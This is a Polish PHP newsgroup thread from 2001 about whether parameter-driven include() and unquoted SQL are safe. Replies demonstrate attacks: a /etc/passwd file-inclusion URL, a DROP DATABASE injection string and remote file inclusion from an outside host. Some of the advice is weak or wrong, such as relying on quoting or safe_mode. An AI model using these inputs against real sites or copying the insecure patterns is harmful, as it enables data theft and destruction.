🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: pl.comp.lang.php
9 messages
9 total messages Started by Gr0g Mon, 27 Aug 2001 09:45
bezpieczenstwo
#1224
Author: Gr0g
Date: Mon, 27 Aug 2001 09:45
24 lines
1391 bytes
Pisze pierwszy raz na ta grupe, wiec witam wszytkich.

czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez include
ktorych nazwy sa pobierane z parametru:

index.php?file=a.php
--
<?
include($file);
?>
--

czy podawanie wartosci do zapytan SQL ktore nie sa brane w cudzyslow przez
parametr jest bezpieczne?:

szukaj.php?orderby=kolumna&pageoffset=20
<?
 $mysql_q="SELECT * FROM tabela ORDER BY $orderby LIMIT $pageoffset, 25";
mysql_query($mysql_q);
[...]
?>

na razie tyle,
krzysiek
Re: bezpieczenstwo
#1225
Author: slawek-
Date: Mon, 27 Aug 2001 10:50
16 lines
1279 bytes
"Gr0g" <krzysiek@gr0g.prv.pl> napisał:
> czy podawanie wartosci do zapytan SQL ktore nie sa brane w cudzyslow przez
> parametr jest bezpieczne?:
>
> szukaj.php?orderby=kolumna&pageoffset=20
> <?
>  $mysql_q="SELECT * FROM tabela ORDER BY $orderby LIMIT $pageoffset, 25";
> mysql_query($mysql_q);
> [...]
> ?>

To nie jest bezpieczne. Najłatwiejsze i najbardziej skuteczne zabezpieczenie
to przekazywanie wszystkich wartości w SQLach otoczonych apostrofami. Nie ma
siły żeby namieszać w bazie.

slawek-
Re: bezpieczenstwo
#1226
Author: Rafal Neumann
Date: Mon, 27 Aug 2001 11:28
21 lines
1345 bytes
Użytkownik "Gr0g" <krzysiek@gr0g.prv.pl> napisał w wiadomości
news:9md4n3$96f$1@news.tpi.pl...
> Pisze pierwszy raz na ta grupe, wiec witam wszytkich.
>
> czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez
include
> ktorych nazwy sa pobierane z parametru:
>
> index.php?file=a.php
> --
> <?
> include($file);


index.php?file=/etc/passwd

jak myslisz - czy to bezpieczne? :)


Rafal Neumann
Re: bezpieczenstwo
#1227
Author: Marek Rogozinski
Date: Mon, 27 Aug 2001 11:34
18 lines
1258 bytes
On Mon, 27 Aug 2001 11:50:02 +0100, slawek- wrote:
> To nie jest bezpieczne. Najłatwiejsze i najbardziej skuteczne zabezpieczenie
> to przekazywanie wszystkich wartości w SQLach otoczonych apostrofami. Nie ma
> siły żeby namieszać w bazie.

  Kwestia szczescia:) Niektore biblioteki umozliwiaja cos takiego:


  "SELECT * FROM tabela LIMIT '$ile'"

  Ale rowniez:

  $ile = "5'; DROP DATABASE baza; SELECT 'hmm";

  


 negativ
Re: bezpieczenstwo
#1230
Author: Darek Sieradzki
Date: Mon, 27 Aug 2001 11:56
19 lines
1579 bytes
"Gr0g" <krzysiek@gr0g.prv.pl> wrote in news:9md4n3$96f$1@news.tpi.pl:

> czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez
> include ktorych nazwy sa pobierane z parametru:
[...]

KAZDY parametr ktory dostajesz od przegladarki (uzytkownika) dokladnie 
sprawdzaj przed zastosowaniem. Zawsze pisz z zalozeniem, ze wszystko co 
przychodzi z zewnatrz (cookie, post/get data, nawet nazwa przegladarki 
przekazana w USER_AGENT) jest niebezpieczne w uzyciu.

DS

-- 
 .---------
(-- a dny jak padli andele prsty ryji hlinu --.                  .
 `              `-- a dni jak upadle anioly palcami ryja ziemie --)    
                                                        ---------'   
                  http://www.dago.pmp.com.pl
Re: bezpieczenstwo
#1231
Author: Lukasz Klimek
Date: Mon, 27 Aug 2001 12:15
48 lines
1923 bytes
Gr0g zeznal(a): 
>Pisze pierwszy raz na ta grupe, wiec witam wszytkich.
>
>czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez include
>ktorych nazwy sa pobierane z parametru:
Tak to nie...


index.php?file=/etc/passwd
:)))

rozwiazanie (malo eleganckie, ale... ): 
index.php?file=a.php


$tabl["a.php"] = "a.php";
$tabl["b.php"] = "b.php";
....

include ($tabl[$file]);

Poza tym mozesz zrobic tak:



index.php?file=a.php
<?
include($file);
?>
>czy podawanie wartosci do zapytan SQL ktore nie sa brane w cudzyslow przez
>parametr jest bezpieczne?:
>
>szukaj.php?orderby=kolumna&pageoffset=20
><?
dodaj tutaj sobie cos typu 
$pageoffset+=0;
if ($orderby == "kolumna") $order="kolumna";
/* albo lepiej case... i sensowne else (else $order="domyslne_sortowanie")*/

$mysql_q="SELECT * FROM tabela ORDER BY $order LIMIT $pageoffset, 25";
mysql_query($mysql_q);
[...]

-- 

Lukasz "casa" Klimek :: casa(AT)YourCGI.Net
Chcesz wiedziec ile osob jest na Twojej stronie? 
------> http://www.YourCGI.Net/index.php <------
Re: bezpieczenstwo
#1228
Author: Grzegorz Skaruz
Date: Mon, 27 Aug 2001 12:29
13 lines
1119 bytes
Pięknego dnia Mon, 27 Aug 2001 13:28:20 +0200 "Rafal Neumann"
<on@the.net> napisał:

>index.php?file=/etc/passwd
>
>jak myslisz - czy to bezpieczne? :)
>

A moze include($PHP_SELF($file));

-- 
[ Grzegorz Skaruz  http://www.skaruz.com ]
[ grzegorz@skaruz.com          GG:179487 ]
Re: bezpieczenstwo
#1229
Author: slawek-
Date: Mon, 27 Aug 2001 12:41
7 lines
956 bytes
"Rafal Neumann" <on@the.net> napisał:
> index.php?file=/etc/passwd
> jak myslisz - czy to bezpieczne? :)

Z włączonym Safe_Mode takie coś nie przejdzie.

slawek-
Re: bezpieczenstwo
#1232
Author: Grzegorz 'Ygreg' Plebański
Date: Wed, 29 Aug 2001 11:53
19 lines
1496 bytes
Lukasz Klimek wrote:
> 
> Gr0g zeznal(a):
> >Pisze pierwszy raz na ta grupe, wiec witam wszytkich.
> >
> >czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez include
> >ktorych nazwy sa pobierane z parametru:
> Tak to nie...
> 
> index.php?file=/etc/passwd
> :)))

E, ja mam lepsze ;-) index.php?file=http://www.mojhost.com/mojskrypt.php

-- 
Grzegorz Plebański ygreg@ygreg.com   \  /   /   www.ygreg.com
Profesjonalne serwery  wirtualne za   \/   /      _    _
rozsądną cenę: www.ygreg.com/hosting  /   /  --  |_)  |_   /
Web Forum:     www.ygreg.com/forum   /   /____|  | \  |_  /_]
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads